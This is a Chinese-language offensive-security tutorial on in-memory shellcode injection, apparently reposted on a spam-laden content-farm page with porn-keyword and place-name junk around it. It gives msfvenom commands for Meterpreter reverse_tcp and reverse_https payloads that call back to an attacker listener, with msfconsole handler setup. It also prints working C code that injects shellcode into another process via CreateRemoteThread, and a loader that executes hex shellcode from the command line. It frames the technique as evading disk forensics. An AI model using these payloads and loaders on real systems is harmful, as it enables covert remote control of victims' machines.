最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會員登陸 & 注冊

1.10 內(nèi)存ShellCode注入與格式化

2023-08-31 12:58 作者:bili_42682284418  | 我要投稿

ShellCode 的格式化與注入功能在實戰(zhàn)應(yīng)用中也尤為重要,格式化Shellcode是指將其轉(zhuǎn)換為可執(zhí)行的二進制格式,使其能夠在內(nèi)存中運行。注入Shellcode是指將格式化的Shellcode注入到另一個進程的內(nèi)存中,以便在該進程中執(zhí)行,此類功能也可算作ShellCode技術(shù)的延申功能。

1.10.1 針對內(nèi)存的ShellCode注入

內(nèi)存注入ShellCode是一種將Shell注入到進程內(nèi)存中的攻擊方式,該注入方式的優(yōu)勢在于被發(fā)現(xiàn)的概率極低,甚至可以被忽略,這是因為ShellCode被注入到進程內(nèi)存中時,其并沒有與之對應(yīng)的硬盤文件,從而難以在磁盤中取證,但也存在一個弊端由于內(nèi)存是易失性存儲器,所以系統(tǒng)必須一直開機,不能關(guān)閉,該攻擊手法可以應(yīng)用于服務(wù)器上面,安全風(fēng)險最小,注入后即可將注入器刪除并以此保證無文件加載。

首先在實現(xiàn)功能之前讀者應(yīng)該自行生成自定義ShellCode代碼,至于如何生成在本章第一節(jié)中就已經(jīng)介紹過了,此處只給出生成指令

生成非加密ShellCode攻擊載荷

#?--------------------------------------------------
#?生成ShellCode攻擊載荷
#?--------------------------------------------------
[lyshark@localhost?~]#?msfvenom?-a?x86?--platform?Windows?-p?windows/meterpreter/reverse_tcp?\
-b?'\x00\x0b'?lhost=192.168.140.128?lport=9999?-f?c


[lyshark@localhost?~]#?msfvenom?-a?x64?--platform?Windows?-p?windows/x64/meterpreter/reverse_tcp?\
-b?'\x00\x0b'?lhost=192.168.140.128?lport=9999?-f?c


#?--------------------------------------------------
#?服務(wù)端建立偵聽器
#?--------------------------------------------------
[lyshark@localhost?~]#?msfconsole
msf6?exploit(handler)?>?use?exploit/multi/handler
msf6?exploit(handler)?>?set?payload?windows/meterpreter/reverse_tcp
msf6?exploit(handler)?>?set?lhost?192.168.140.128
msf6?exploit(handler)?>?set?lport?9999
msf6?exploit(handler)?>?set?EXITFUNC?thread
msf6?exploit(handler)?>?exploit?-j?-z

生成SSL加密ShellCode攻擊載荷

#?--------------------------------------------------
#?生成ShellCode攻擊載荷
#?--------------------------------------------------
[lyshark@localhost?~]#?openssl?req?-new?-newkey?rsa:4096?-days?365?-nodes?-x509?\
>?-subj?"/C=UK/ST=London/L=London/O=Development/CN=www.baidu.com"?\
>?-keyout?www.baidu.com.key?-out?www.baidu.com.crt


[lyshark@localhost?~]#?cat?www.baidu.com.key?www.baidu.com.crt?>?www.baidu.com.pem
[lyshark@localhost?~]#?msfvenom?-a?x86?--platform?Windows?-p?windows/meterpreter/reverse_https?\
>?lhost=192.168.140.128?lport=8443?PayloadUUIDTracking=true?PayloadUUIDName=MyShell?\
>?HandlerSSLCert=/root/www.baidu.com.pem?StagerVerifySSLCert=true?\
>?-f?c?-o?/root/shell.c


#?--------------------------------------------------
#?服務(wù)端建立偵聽器
#?--------------------------------------------------
[lyshark@localhost?~]#?msfconsole
msf6?exploit(handler)?>?use?exploit/multi/handler
msf6?exploit(handler)?>?set?payload?windows/meterpreter/reverse_https
msf6?exploit(handler)?>?set?LHOST?192.168.140.128
msf6?exploit(handler)?>?set?LPORT?8443
msf6?exploit(handler)?>?set?HandlerSSLCert?/root/www.baidu.com.pem
msf6?exploit(handler)?>?set?StagerVerifySSLCert?true
msf6?exploit(handler)?>?exploit?-j?-z

接著我們來實現(xiàn)注入功能,首先我們通過CreateToolhelp32Snapshot()拍攝一個進程快照并通過比較找到所需注入進程,找到后通過OpenProcess()打開進程,然后調(diào)用VirtualAllocEx()函數(shù)在對端內(nèi)存中分配空間,并通過WriteProcessMemory()ShellCode寫入到對端,最后通過CreateRemoteThread()開啟遠程線程執(zhí)行ShellCode代碼。

其核心原理總結(jié)起來如下所示:

  • ??1.獲取目標(biāo)進程的PID,這里使用了ToolHelp32獲取系統(tǒng)中正在運行的進程列表,并遍歷列表查找指定名稱的進程。

  • ??2.打開目標(biāo)進程。使用OpenProcess打開目標(biāo)進程,獲取進程的句柄。

  • ??3.在目標(biāo)進程中分配內(nèi)存。使用VirtualAllocEx在目標(biāo)進程中分配一段內(nèi)存,用于存儲ShellCode的代碼。

  • ??4.將ShellCode的代碼寫入目標(biāo)進程的內(nèi)存中。使用WriteProcessMemoryShellCode的代碼寫入目標(biāo)進程的內(nèi)存中。

  • ??5.在目標(biāo)進程中創(chuàng)建遠程線程并執(zhí)行ShellCode。使用CreateRemoteThread在目標(biāo)進程中創(chuàng)建一個遠程線程,并將其起始地址指向ShellCode在目標(biāo)進程中的內(nèi)存地址,從而執(zhí)行?ShellCode的代碼。

  • ??6.等待遠程線程執(zhí)行完畢。使用WaitForSingleObject等待遠程線程執(zhí)行完畢。

  • ??7.清理資源。關(guān)閉句柄,釋放內(nèi)存等。

根據(jù)上述原理解析,讀者很容易就可以寫出如下所示的代碼片段,讀者只需要將自定義ShellCode填充之變量內(nèi),并輸入進程PID即可實現(xiàn)對特定進程的注入功能;

#include?<Windows.h>
#include?<stdio.h>

//?定義ShellCode
unsigned?char?ShellCode[]?=
"\xba\x1a\x77\xba\x2b\xd9\xee\xd9\x74\x24\xf4\x5e\x29\xc9"
"\xb1\x59\x31\x56\x14\x03\x56\x14\x83\xee\xfc\xf8\x82\x46"
"\xc3\x73\x6c\xb7\x14\xeb\xe4\x52\x25\x39\x92\x17\x14\x8d"
"\xd0\x7a\x95\x66\xb4\x6e\x94\x87\x36\x38\x9c\x51\xc2\x34"
"\x09\xac\x14\x14\x75\xaf\xe8\x67\xaa\x0f\xd0\xa7\xbf\x4e"
"\xdb\xac\xa6";

int?main(int?argc,?char?*argv[])
{
????HANDLE?Handle?=?NULL;
????HANDLE?remoteThread?=?NULL;
????PVOID?remoteBuffer?=?NULL;
????DWORD?Pid?=?0;

????printf("請輸入待注入進程PID號:");
????scanf("%d",?&Pid);

????//?打開目標(biāo)進程句柄
????Handle?=?OpenProcess(PROCESS_ALL_ACCESS,?FALSE,?Pid);
????if?(Handle?==?NULL)
????{
????????printf("打開進程失敗\n");
????????return?1;
????}

????//?在目標(biāo)進程中分配內(nèi)存
????remoteBuffer?=?VirtualAllocEx(Handle,?NULL,?sizeof(ShellCode),?MEM_RESERVE?|?MEM_COMMIT,?PAGE_EXECUTE_READWRITE);
????if?(remoteBuffer?==?NULL)
????{
????????printf("分配內(nèi)存失敗\n");
????????CloseHandle(Handle);
????????return?1;
????}

????//?在目標(biāo)進程中寫入ShellCode
????if?(!WriteProcessMemory(Handle,?remoteBuffer,?ShellCode,?sizeof(ShellCode),?NULL))
????{
????????printf("寫入內(nèi)存失敗\n");
????????VirtualFreeEx(Handle,?remoteBuffer,?0,?MEM_RELEASE);
????????CloseHandle(Handle);
????????return?1;
????}

????//?在目標(biāo)進程中創(chuàng)建遠程線程
????remoteThread?=?CreateRemoteThread(Handle,?NULL,?0,?(LPTHREAD_START_ROUTINE)remoteBuffer,?NULL,?0,?NULL);
????if?(remoteThread?==?NULL)
????{
????????printf("創(chuàng)建線程失敗\n");
????????VirtualFreeEx(Handle,?remoteBuffer,?0,?MEM_RELEASE);
????????CloseHandle(Handle);
????????return?1;
????}

????//?等待遠程線程執(zhí)行完畢
????WaitForSingleObject(remoteThread,?INFINITE);

????//?釋放內(nèi)存和關(guān)閉句柄
????VirtualFreeEx(Handle,?remoteBuffer,?0,?MEM_RELEASE);
????//?CloseHandle(remoteThread);
????CloseHandle(Handle);

????printf("注入成功\n");
????return?0;
}

1.10.2 實現(xiàn)格式化與代碼執(zhí)行盒

在某些時候我們需要在外部傳入特定的一段字符串以此實現(xiàn)反彈,而不是上述案例中提到的需要將ShellCode代碼寫死在程序中,這樣即可增加靈活性,我們以本地代碼執(zhí)行為案例講解一下代碼執(zhí)行盒是如何實現(xiàn)的。

代碼執(zhí)行盒的實現(xiàn)非常容易,如下代碼中程序接收argv[1]傳遞變量,并將該變量通過sscanf格式化為字節(jié)類型,如果不格式化那么在讀入內(nèi)存后默認會以WORD模式存在,此時則會占用兩個字節(jié)而導(dǎo)致ShellCode失效,為了能讓功能有效,則必須進行轉(zhuǎn)換,如下代碼則是執(zhí)行盒的完整實現(xiàn);

#include?<stdio.h>
#include?<Windows.h>

int?main(int?argc,?char?*argv[])
{
????unsigned?int?char_in_hex;

????char?*shellcode?=?argv[1];
????unsigned?int?iterations?=?strlen(shellcode);

????unsigned?int?memory_allocation?=?strlen(shellcode)?/?2;

????for?(unsigned?int?i?=?0;?i<?iterations?-?1;?i++)
????{
????????sscanf(shellcode?+?2?*?i,?"%2X",?&char_in_hex);
????????shellcode[i]?=?(char)char_in_hex;
????}

????void?*exec?=?VirtualAlloc(0,?memory_allocation,?MEM_COMMIT,?PAGE_READWRITE);
????memcpy(exec,?shellcode,?memory_allocation);
????DWORD?ignore;
????VirtualProtect(exec,?memory_allocation,?PAGE_EXECUTE,?&ignore);
????(*(void(*)())?exec)();

????return?0;
}

以下是核心代碼的簡單解釋;

unsigned?int?memory_allocation?=?strlen(shellcode)?/?2;

memory_allocation是一個無符號整數(shù)類型的變量,用于表示需要分配的內(nèi)存大小。因為shellcode是16進制編碼的,每兩個字符表示一個字節(jié),所以內(nèi)存大小為shellcode長度的一半。

for?(unsigned?int?i?=?0;?i<?iterations?-?1;?i++)
{
????sscanf(shellcode?+?2?*?i,?"%2X",?&char_in_hex);
????shellcode[i]?=?(char)char_in_hex;
}

for循環(huán),用于將16進制編碼的shellcode轉(zhuǎn)換為可執(zhí)行的代碼。sscanf函數(shù)將shellcode中的16進制字符轉(zhuǎn)換為整數(shù),并存儲在char_in_hex變量中。然后將char_in_hex強制轉(zhuǎn)換為字符類型,并將其存儲在shellcode中。

void?*exec?=?VirtualAlloc(0,?memory_allocation,?MEM_COMMIT,?PAGE_READWRITE);

這是一個void類型的指針變量,用于指向分配的內(nèi)存空間。VirtualAlloc函數(shù)分配一個指定大小的內(nèi)存塊,并返回一個指向該內(nèi)存塊的指針。參數(shù)MEM_COMMIT表示分配的內(nèi)存將立即被提交,PAGE_READWRITE表示內(nèi)存可讀可寫。

memcpy(exec,?shellcode,?memory_allocation);

shellcode復(fù)制到分配的內(nèi)存空間中。

DWORD?ignore;
VirtualProtect(exec,?memory_allocation,?PAGE_EXECUTE,?&ignore);

VirtualProtect函數(shù)修改內(nèi)存頁的保護屬性,將內(nèi)存頁的執(zhí)行屬性設(shè)置為可執(zhí)行。PAGE_EXECUTE表示內(nèi)存可執(zhí)行。

(*(void(*)())?exec)();

執(zhí)行分配的內(nèi)存空間中的代碼。將exec指針強制轉(zhuǎn)換為指向無參數(shù)、無返回值的函數(shù)指針,然后調(diào)用該函數(shù)指針。這樣,shellcode中的代碼就會被執(zhí)行。

由于代碼執(zhí)行盒接收的是一個字符串,則我們還需要實現(xiàn)一個將ShellCode轉(zhuǎn)換為字符串的功能,我們只需要將文本依次讀入到內(nèi)存,并以此過濾掉無用字節(jié)即可實現(xiàn)該功能;

void?Compressed(const?char*?FileName)
{
????FILE*?fp_read;
????char?write_ch;
????if?((fp_read?=?fopen(FileName,?"r"))?!=?NULL)
????{
????????while?((write_ch?=?fgetc(fp_read))?!=?EOF)
????????{
????????????if?(write_ch?!=?L'\n'?&&?write_ch?!=?L'\"'?&&?write_ch?!=?L'\\'?&&?write_ch?!=?L'x'?&&?write_ch?!=?L';')
????????????{
????????????????printf("%c",?write_ch);
????????????}
????????}
????}
????_fcloseall();
}

完整代碼已經(jīng)有了那么該如何使用呢,首先讀者需要將ShellCode代碼保存為文本文檔,需要注意的是讀者在保存文件時應(yīng)保存為如下格式;

此時調(diào)用Compressed("d://shellcode.txt");并傳入文本路徑,則讀者會看到如下輸出,此時的ShellCode則被格式化為一行,如下圖所示;

保存這段ShellCode代碼,并運行代碼執(zhí)行盒,通過傳入命令行傳入?yún)?shù),即可實現(xiàn)反彈,傳入?yún)?shù)如下圖所示;

本文作者: 王瑞 本文鏈接: https://www.lyshark.com/post/c20d3ce0.html 版權(quán)聲明: 本博客所有文章除特別聲明外,均采用 BY-NC-SA 許可協(xié)議。轉(zhuǎn)載請注明出處!


1.10 內(nèi)存ShellCode注入與格式化的評論 (共 條)

分享到微博請遵守國家法律
和静县| 望谟县| 郸城县| 海南省| 清镇市| 牟定县| 商城县| 桐城市| 彭泽县| 清苑县| 郎溪县| 栾川县| 旅游| 富锦市| 专栏| 苏尼特左旗| 孝感市| 清水县| 新竹市| 虹口区| 克拉玛依市| 淮阳县| 铜鼓县| 寿阳县| 白玉县| 徐州市| 鸡西市| 九龙县| 广元市| 三原县| 奇台县| 陈巴尔虎旗| 平邑县| 延津县| 太原市| 黎平县| 呼伦贝尔市| 靖西县| 乌什县| 越西县| 衡南县|